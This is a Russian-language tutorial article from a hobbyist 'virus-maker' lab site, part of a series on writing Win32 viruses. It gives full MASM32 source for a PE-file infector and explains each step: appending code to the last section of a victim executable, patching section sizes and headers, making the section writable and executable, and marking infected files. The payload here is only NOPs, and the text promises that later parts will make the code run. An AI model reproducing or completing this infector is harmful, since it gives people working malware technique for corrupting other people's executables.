| Welcome to The Passion Of Code Laboratory!!! | Статьи |
"Win32-вирусы" | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
-------------------------------------------------------------------------------- .386 .MODEL flat,stdcall OPTION CASEMAP : NONE include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\comdlg32.inc include \masm32\include\masm32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\comdlg32.lib includelib \masm32\lib\masm32.lib MIN_KERNEL_SEARCH_BASE EQU 070000000h MAX_API_STRING_LENGTH EQU 150 VIRII_SIZE EQU ( OFFSET IGI_END - OFFSET IGI_START) ALIGN_CORRECTION EQU 000001000h IGI_TRADEMARK EQU ('IGI') VIRII_R_SIZE EQU 000000200h VIRII_V_SIZE EQU 000002000h MAX EQU 255 .CONST szError DB "Ошибка",0 szGetBaseErr DB "Ошибка в получении адреса kernel.dll",0 szCap DB ":) ",0 szCap_0 DB "CALL CreateFile is FAILED",0 szCap_1 DB "CALL GetFileSize is FAILED",0 szCap_2 DB "CALL GlobalAlloc is FAILED",0 szCap_3 DB "CALL ReadFile is FAILED",0 .DATA filter db 'PE-executables (*.exe)',0,'*.exe',0,0 buffer db 255 dup (0) about db 'Please Pick the Target File',0 about_f db 'Target File is ...',0 hFile DD 0 dwFsize DD 0 pMem DD 0 OpenStruct dd 76,0 dd 0 dd offset filter, 0,0,0, offset buffer, MAX, 0,0,0, offset about dd OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_EXPLORER dd 0, 0, 0, 0, 0 cBuff DB 120 DUP (0) VarBuff db 0 .CODE Main: invoke GetOpenFileNameA, offset OpenStruct .if eax==0 jmp _exit_ .endif lea eax,offset buffer push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push EAX push NULL CALL MessageBox ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; invoke CreateFile,offset buffer,\ GENERIC_WRITE or GENERIC_READ ,\; FILE_SHARE_READ or FILE_SHARE_WRITE,\; NULL,\ OPEN_EXISTING,\ FILE_ATTRIBUTE_NORMAL,\ NULL .IF EAX == INVALID_HANDLE_VALUE XOR EAX, EAX INC EAX push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push OFFSET szCap_0 push NULL CALL MessageBox JMP SkipFileInfection .ENDIF MOV hFile, EAX PUSH 0 PUSH EAX CALL GetFileSize OR EAX, EAX .IF ZERO? push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push OFFSET szCap_1 push NULL CALL MessageBox ADD EAX, 2 JMP SkipFileAndClean1 .ENDIF MOV dwFsize, EAX ADD EAX, ALIGN_CORRECTION + VIRII_SIZE PUSH EAX PUSH GMEM_FIXED OR GMEM_ZEROINIT CALL GlobalAlloc OR EAX, EAX .IF ZERO? push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push OFFSET szCap_2 push NULL CALL MessageBox ADD EAX, 3 JMP SkipFileAndClean1 .ENDIF MOV pMem, EAX LEA EAX, OFFSET VarBuff PUSH NULL PUSH EAX PUSH dwFsize PUSH pMem PUSH hFile CALL ReadFile .IF EAX==0 push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push OFFSET szCap_3 push NULL CALL MessageBox CALL GetLastError push OFFSET cBuff push eax CALL dwtoa push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push OFFSET cBuff push NULL CALL MessageBox .ENDIF ;---- Поищем PE сигнатуру ---- MOV ESI, pMem CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE .IF !ZERO? JMP SkipFileAndClean2 .ENDIF ADD WORD PTR SI, [ESI+03Ch] CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE .IF !ZERO? JMP SkipFileAndClean2 .ENDIF ASSUME ESI : PTR IMAGE_NT_HEADERS ;----Найдем последнюю секцию---- MOV EDI, ESI ADD EDI, 0F8h MOV CX, [ESI].FileHeader.NumberOfSections .WHILE CX != 1 DEC CX ADD EDI, SIZEOF IMAGE_SECTION_HEADER .ENDW ASSUME EDI : PTR IMAGE_SECTION_HEADER ; WATCOM C/C++ компилчторы устанавливают Misc.VirtualSize в 0, исправим это .IF [EDI].Misc.VirtualSize == 0 MOV EAX, [ESI].OptionalHeader.SizeOfImage SUB EAX, [EDI].VirtualAddress MOV [EDI].Misc.VirtualSize, EAX .ENDIF ;----Копируем наш код в файл---- MOV EAX, [EDI].PointerToRawData ADD EAX, [EDI].SizeOfRawData ADD EAX, pMem PUSH ESI PUSH EDI MOV ECX, VIRII_SIZE MOV ESI, OFFSET IGI_START XCHG EAX, EDI REP MOVSB POP EDI POP ESI ;----Изменим NT -заголовок ---- ;-> Изменим OptionalHeader.FileAlignment MOV [ESI].OptionalHeader.FileAlignment, 0200h ;->Увеличим ImageBase ADD [ESI].OptionalHeader.SizeOfImage, VIRII_V_SIZE ;->Установим "Товарный знак" MOV [ESI].FileHeader.PointerToSymbolTable, IGI_TRADEMARK ;----Изменим информацию о секции---- ADD [EDI].Misc.VirtualSize, VIRII_V_SIZE ADD [EDI].SizeOfRawData, VIRII_R_SIZE ; Секцию можно: читать, писать, выполнять OR [EDI].Characteristics, 0E0000000h ;---- Пишем из памяти на диск---- ;установим файловый указатель записи в 0 PUSH FILE_BEGIN PUSH NULL PUSH 0 PUSH hFile CALL SetFilePointer ; Найдем новый размер файла-жертвы MOV ECX, [EDI].PointerToRawData ADD ECX, [EDI].SizeOfRawData ; Пишем на диск PUSH NULL LEA EAX, OFFSET VarBuff PUSH EAX PUSH ECX PUSH pMem PUSH hFile CALL WriteFile ASSUME EDI : NOTHING ASSUME ESI : NOTHING XOR EAX, EAX SkipFileAndClean2: ; Освободим выделенную память PUSH EAX PUSH pMem CALL GlobalFree POP EAX SkipFileAndClean1: ; Освободим уазатели PUSH EAX PUSH hFile CALL CloseHandle POP EAX SkipFileInfection: invoke ExitProcess,0 ;*********************************************************************** ;*********************************************************************** IGI_START: NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP _exit_: IGI_END: ;*********************************************************************** ;*********************************************************************** end Main |
1)
|
invoke GetOpenFileNameA, offset OpenStruct ... invoke CreateFile,offset buffer,\ GENERIC_WRITE or GENERIC_READ ,\; FILE_SHARE_READ or FILE_SHARE_WRITE,\; NULL,\ OPEN_EXISTING,\ FILE_ATTRIBUTE_NORMAL,\ NULL ... MOV hFile, EAX PUSH 0 PUSH EAX CALL GetFileSize ... |
Используя диалог GetOpenFileNameA() получаем доступ к
указанному пользователем файлу. Открываем выбранный файл для чтения-записи.
Определяем объем выбранного файла в байтах.
2)
|
ADD EAX, ALIGN_CORRECTION + VIRII_SIZE PUSH EAX PUSH GMEM_FIXED OR GMEM_ZEROINIT CALL GlobalAlloc ... MOV pMem, EAX |
Тут мы занялись
формированием нового размера последней секции файла. Во-первых, есть такое
правило: размер секции должен быть выравнял по границе 1000h.( Необходимо это
учесть при увеличении размера секции путем добавления к ее размеру
ALIGN_CORRECTION. Во-вторых, добавим размер нашего с позволения сказать :) "вируса".
Далее мы резервируем в памяти объем равный этой нашей сумме, и сохраняем
полученный указатель.
3)
|
LEA EAX, OFFSET VarBuff PUSH NULL PUSH EAX PUSH dwFsize PUSH pMem PUSH hFile CALL ReadFile |
Теперь считаем выбранный нами файл-жертву
в зарезервированную память. Теперь по указателю pMem у нас лежит образ
выбранного файла с дополнительным пустым местом в конце. Объем пустого места
составляет как раз столько, сколько нужно, чтобы дописать туда код "вируса".
4)
|
;---- Поищем PE сигнатуру ---- MOV ESI, pMem CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE .IF !ZERO? JMP SkipFileAndClean2 .ENDIF ADD WORD PTR SI, [ESI+03Ch] CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE .IF !ZERO? JMP SkipFileAndClean2 .ENDIF |
Начнем обработку файла в памяти.
Является ли выбранный нами файл PE-файлом? Найдем IMAGE_DOS_SIGNATURE и
IMAGE_NT_SIGNATURE в начале файла в памяти. Подробно этот участок описан в
первой статье.
5)
|
ASSUME ESI : PTR IMAGE_NT_HEADERS ;----Найдем последнюю секцию---- MOV EDI, ESI ADD EDI, 0F8h MOV CX, [ESI].FileHeader.NumberOfSections |
Отобразим у себя перед глазами структуры IMAGE_NT_HEADERS и IMAGE_FILE_HEADER из того же windows.inc.
Структура 4.1
| IMAGE_NT_HEADERS STRUCT | |||
| Signature | DWORD | ? | |
| FileHeader | IMAGE_FILE_HEADER | <> | |
| OptionalHeader | IMAGE_OPTIONAL_HEADER32 | <> | |
| IMAGE_NT_HEADERS ENDS | |||
Структура 4.2
| IMAGE_FILE_HEADER STRUCT | |||
| Machine | WORD | ? | |
| NumberOfSections | WORD | ? | |
| TimeDateStamp | DWORD | ? | |
| PointerToSymbolTable | DWORD | ? | |
| NumberOfSymbols | DWORD | ? | |
| SizeOfOptionalHeader | WORD | ? | |
| Characteristics | WORD | ? | |
| IMAGE_FILE_HEADER ENDS | |||
Закрепим ESI за структурой IMAGE_SECTION_HEADER. Начнем искать последнюю секцию в файле. Если прибавить к [IMAGE_NT_HEADERS] 0F8h мы попадем на первую секцию в нашем файле, т.е. на первую в файле структуру IMAGE_SECTION_HEADER.
Структура 4.3
| IMAGE_SECTION_HEADER STRUCT | ||||
| Name1 | IMAGE_SIZEOF_SHORT_NAME | dup(?) | ||
| union Misc | ||||
| PhysicalAddress | dd | ? | ||
| VirtualSize | dd | ? | ||
| ends | ||||
| VirtualAddress | dd | ? | ||
| SizeOfRawData | dd | ? | ||
| PointerToRawData | dd | ? | ||
| PointerToRelocations | dd | ? | ||
| PointerToLinenumbers | dd | ? | ||
| NumberOfRelocations | dd | ? | ||
| NumberOfLinenumbers | dd | ? | ||
| Characteristics | dd | ? | ||
| IMAGE_SECTION_HEADER ENDS | ||||
Далее поместим в ECX количество секций в файле. Например в файле _empty.exe ( мы
его будим заражать) их 2. Проверим это с помощью программы [2.1].
Рис 4.3.

6)
|
.WHILE CX != 1 DEC CX ADD EDI, SIZEOF IMAGE_SECTION_HEADER .ENDW ASSUME EDI : PTR IMAGE_SECTION_HEADER |
Запускаем цикл, пока CX не равен 1.
Уменьшаем CX на 1. К указателю на начало структуры IMAGE_SECTION_HEADER
добавляем размер этой же структуры. В конце концов, указатель в EDI, у нас,
окажется на начале последней секции. Свяжем EDI со структурой PTR
IMAGE_SECTION_HEADER.
7)
|
;WATCOM C/C++ компилчторы устанавливают
Misc.VirtualSize в 0, исправим это .IF [EDI].Misc.VirtualSize == 0 MOV EAX, [ESI].OptionalHeader.SizeOfImage SUB EAX, [EDI].VirtualAddress MOV [EDI].Misc.VirtualSize, EAX .ENDIF |
Тут нам немного приходится делать не свою
работу. Дело в том что компиляторы фирмы Watcom устанавливают в 0 величину [IMAGE_SECTION_HEADER].Misc.VirtualSize
- размер секции в памяти. Подправим ее до корректного размера, ведь мы потом
будем увеличивать его до размера "вируса". Отразим используемые тут структуры.
В ESI - у нас указатель на IMAGE_NT_HEADERS
В EDI - у нас указатель на IMAGE_SECTION_HEADER
Структура 4.4
IMAGE_OPTIONAL_HEADER32 STRUCT
Magic WORD ?
MajorLinkerVersion BYTE ?
MinorLinkerVersion BYTE ?
SizeOfCode DWORD ?
SizeOfInitializedData DWORD ?
SizeOfUninitializedData DWORD ?
AddressOfEntryPoint DWORD ?
BaseOfCode DWORD ?
BaseOfData DWORD ?
ImageBase DWORD ?
SectionAlignment DWORD ?
FileAlignment DWORD ?
MajorOperatingSystemVersion WORD ?
MinorOperatingSystemVersion WORD ?
MajorImageVersion WORD ?
MinorImageVersion WORD ?
MajorSubsystemVersion WORD ?
MinorSubsystemVersion WORD ?
Win32VersionValue DWORD ?
SizeOfImage DWORD ?
SizeOfHeaders DWORD ?
CheckSum DWORD ?
Subsystem WORD ?
DllCharacteristics WORD ?
SizeOfStackReserve DWORD ?
SizeOfStackCommit DWORD ?
SizeOfHeapReserve DWORD ?
SizeOfHeapCommit DWORD ?
LoaderFlags DWORD ?
NumberOfRvaAndSizes DWORD ?
DataDirectory IMAGE_DATA_DIRECTORY
IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)
IMAGE_OPTIONAL_HEADER32 ENDS
ESI].OptionalHeader.SizeOfImage - Смотри структ.4.4
SizeOfImage - согласно [1.2] общий размер загруженного модуля в памяти, начиная
от ImageBase до конца последней секции.
[EDI].VirtualAddress - Смотри структ.4.3
VirtualAddress - согласно [1.2] RVA первого байта заражаемой секции в памяти.
Используя формулу ниже получаем реальный размер секции в памяти:
Правило 4.1.
| [IMAGE_NT_HEADERS].OptionalHeader.SizeOfImage - [IMAGE_SECTION_HEADER].VirtualAddress ____________________________ Реальный размер секции в памяти. |
8)
|
;----Копируем наш код в файл---- MOV EAX, [EDI].PointerToRawData ADD EAX, [EDI].SizeOfRawData ADD EAX, pMem PUSH ESI PUSH EDI MOV ECX, VIRII_SIZE ; в ECX - размер вируса MOV ESI, OFFSET IGI_START ; в ESI - начало вирусного кода XCHG EAX, EDI ; в EDI - указатель на конец последней ; секции заражаемого файла в памяти REP MOVSB ; повторять перемещение из ESI в EDI ECX раз POP EDI POP ESI |
Теперь начнем копировать наш код в образ
файла в памяти.
В EDI - у нас, все также, указатель на IMAGE_SECTION_HEADER. [EDI].PointerToRawData
- смещение от начала файла, до первого байта пополняемой нами (последней в
выбранном файле ) секции. Далее команда ADD добавит к этому смещению размер
последней секции. Мы же не хотим затереть ее вносимым нами кодом :) .
Правило 4.2.
| [IMAGE_SECTION_HEADER].PointerToRawData + [IMAGE_SECTION_HEADER].VirtualAddress + pMem ( адрес начала образа файла в памяти) ___________________________________________ Адрес конца последней секции в памяти. |
Ну и добавим ко всему этому начало нашего файла, чтобы получить реальный адрес в памяти. Далее сохраним регистры EDI и ESI, чтобы не потерять указатели на нужные нам структуры. Внесем наш код.
9)
|
;----Изменим NT -заголовок ---- ;-> Изменим OptionalHeader.FileAlignment MOV [ESI].OptionalHeader.FileAlignment, 0200h ;->Увеличим ImageBase ADD [ESI].OptionalHeader.SizeOfImage, VIRII_V_SIZE |
принципе с кодом все. Осталось подправить некоторые
поля заголовка и, как говорится, в путь.
Напомним :
VIRII_V_SIZE EQU 000002000h
В ESI у нас указатель на IMAGE_NT_HEADERS.
[ESI].OptionalHeader.FileAlignment - (смотри структ. 4.4.) содержит по умолчанию
значение 0200h. Это размер сектора на диске. Посмотрим в [1.1] :
"File Align - ( он же FileAlignment )фактор используемый для выравнивания секций
в программном файле. В байтовом значении указывает на границу на которую секции
дополняются 0 при размещении в файле. Большое значение приводит к
нерациональному использованию дискового пространства, маленькое увеличивает
компактность, но и снижает скорость загрузки. Должен быть степенью 2 в диапазоне
от 512 до 64К включительно. Прочие значения вызовут ошибку загрузки файла. Я так
думаю, что размер файла штука более важная."
Написал я к Yod-е ( автор FLY 0.1) и спросил: "Что такое VIRII_V_SIZE , и
VIRII_R_SIZE".
Он ответил:
"The V stands for virtual. It's the size of the virii in RAM. The R stands for
raw. It's the size of the virii on the harddisk. sistemo@gmx.net"
Мне не хотелось теребить его следующими вопросами. Хочется все делать самому.
Учитывая то что данные слагаемые должны выдерживать условия кратности для
полученной суммы, мы поступим по другому ( может быть это не экономно но
осознанно, и работает).
Начнем с VIRII_V_SIZE. Мы должны увеличить величину всего отведенного под
загружаемый файл объема на величину кратную Object Align. Так как диапазон
допустимых значений для Object Align достаточно большей, то выберем величину
нужную нам, допустим, равной VIRII_R_SIZE * 10h = 2000h. VIRII_R_SIZE -
рассмотрим ниже. Можно и поменьше, но зачем ? Посмотрим в [1.1] :
"Image Size - ( он же SizeOfImage ) виртуальный размер в байтах всего
загружаемого образа, вместе с заголовками, кратен величине Object Align "
"Object Align - ( он же SectionAlignment )выравнивание программных секций,
должен быть степенью 2 между 512 и 256М включительно, так же связано с системой
памяти. При использовании других значений программа не загрузится."
10)
|
;->Установим "Товарный знак" MOV [ESI].FileHeader.PointerToSymbolTable, IGI_TRADEMARK |
Зараженный файл нужно как-то
пометить, чтобы не заражать его заново.
[ESI].OptionalHeader. PointerToSymbolTable - (смотри структ. 4.2.) Посмотрим в
[1.1]:
"Pointer to COFF table - ( он же PointerToSymbolTable ) дополнительный указатель
определяющий местонахождение отладочной COFF таблицы в файлах, отладочную
информацию лучше всего искать по другому".
11)
|
;----Изменим информацию о секции---- ADD [EDI].Misc.VirtualSize, VIRII_V_SIZE ADD [EDI].SizeOfRawData, VIRII_R_SIZE ; Секцию можно: читать, писать, выполнять OR [EDI].Characteristics, 0E0000000h |
Virtual Size - ( он же VirtualSize) виртуальный размер
секции, именно столько памяти будет отведено под секцию. Если Virtual Size
превышает Physical Size, то разница заполняется нулями, так определяются секции
неинициализированных данных (Physical Size=0)
"Physical Size - ( он же SizeOfRawData ) размер секции (ее инициализированной
части) в файле, кратно полю File Align в заголовке PE Header, должно быть меньше
или равно Virtual Size. Играя с этим полем можно добиться некоторых результатов
;-) загрузчик по идее хлопает всю секцию в отведенное ОЗУ"
Тут диапазон допустимых значений для File Align - ( он же FileAlignment )
поменьше, поэтому допустим что размер секции от нашего вируса увеличится на 512
* 1 = 200h. То есть мы приняли величину VIRII_R_SIZE равной 200h чисто из
жадности, но кратной FileAlignment . Вообще код нашего вируса пока 13 байт, но
взяли число кратное 512. Реальный вирус будет больше по размеру этого числа,
тогда возьмем тут 512 * 2 … 3 … 4. То же с величиной VIRII_V_SIZE но он должна
быть кратна Object Align.
[EDI].Characteristics (см. стр. 4.3.). Посмотрим в [1.1]:
"Object Flags - ( он же Characteristics ) битовые флаги секции." Это указатель
на отладочную таблицу в PE-файлах, там обычно ничего нет, там нули.
Согласно [1.4. стр.129] :
" Это поле определяет атрибуты раздела и используется как логическая шкала.
| IMAGE_SCN_MEM_EXECUTE 0x20000000 IMAGE_SCN_MEM_READ 0x40000000 IMAGE_SCN_MEM_WRITE 0x80000000 ____________________________________ Сумма = 0xE0000000 |
… теперь данный раздел можно читать, в него можно писать, код из него
можно выполнять.
И вносим в поле характеристик.
12)
|
;---- Пишем из памяти на диск---- ;установим файловый указатель записи в 0 PUSH FILE_BEGIN PUSH NULL PUSH 0 PUSH hFile CALL SetFilePointer ; Найдем новый размер файла-жертвы MOV ECX, [EDI].PointerToRawData ADD ECX, [EDI].SizeOfRawData ; Пишем на диск PUSH NULL LEA EAX, OFFSET VarBuff PUSH EAX PUSH ECX PUSH pMem PUSH hFile CALL WriteFile |
Установим файловый указатель файла-жертвы на начало файла.
Получим новый размер файла жертвы по формуле:
Правило 4.3.
| [IMAGE_SECTION_HEADER].PointerToRawData + [IMAGE_SECTION_HEADER].SizeOfRawData ____________________ Новый размер файла-жертвы |
В EDI у нас указатель на IMAGE_SECTION_HEADER.
Посмотрим в [1.1]:
"Physical Offset - (он же PointerToRawData)физическое смещение относительно
начала EXE файла, выровнено на границу File Align поля заголовка PE Header.
Смещение используется загрузчиком как seek значение."
"Physical Size - ( он же SizeOfRawData ) размер секции (ее инициализированной
части) в файле, кратно полю File Align в заголовке PE Header, должно быть меньше
или равно Virtual Size. Играя с этим полем можно добиться некоторых результатов
;-) загрузчик по идее хлопает всю секцию в отведенное ОЗУ"
И команда записи на диск.
VarBuff - указатель на какой-то мусор эта память нужна функции WriteFile() для
того чтобы внести туда количество записанных байт. Но нам это не надо и мы
просто ссылаем этот указатель к концу файла.
|
ASSUME EDI : NOTHING ASSUME ESI : NOTHING XOR EAX, EAX SkipFileAndClean2: ; Освободим выделенную память PUSH EAX PUSH pMem CALL GlobalFree POP EAX SkipFileAndClean1: ; Освободим уазатели PUSH EAX PUSH hFile CALL CloseHandle POP EAX SkipFileInfection: invoke ExitProcess,0 |
Освобождаем регистры ESI и EDI , память,
указатель на файл, и выходим.
Теперь хочется посмотреть что же получилось у нас с этим файлом?
Воспользуемся программой Hiew и прокрутим до конца файла. Тут мы и увидим наши
NOP.
Далее посмотрим на размеры файла, все так как обещалось в начале на рисунке -
размер вырос.
Рис. 4.4

Но в целом пользы от этого кода никакой. Этот код даже не получает управления. Он просто дописался и лежит. В следующей статье этот код немного "оживет". Код получит управление и вернет его программе-жертве. До свиданья !
Перечень используемой литературы.
[1.1] - Описание формата файлов РЕ от Hard Wisdom
[1.2] - Файл \masm32\include\windows.inc
[1.3] - Billy Belcebu "Путеводитель по написанию вирусов под Win32". пер. Aquila (www.wasm.ru)
[1.4] - П.В.Румянцев "Работа с файлами".Москва.2000.
[C] _follower / TPOC
Новые события из жизни нашей лаборатории
Статьи и переводы лаборатории TPOC
Программы лаборатории TPOC
Здесь мы сообщаем Вам, какие творения скоро появятся
Ссылки на сайты, где можно найти больше информации
История нашей лаборатории и ее члены
| У вас есть предложения по нашему сайту? Напишите сюда | Любимые сайты вирмейкеров: (WASM) (RSDN) |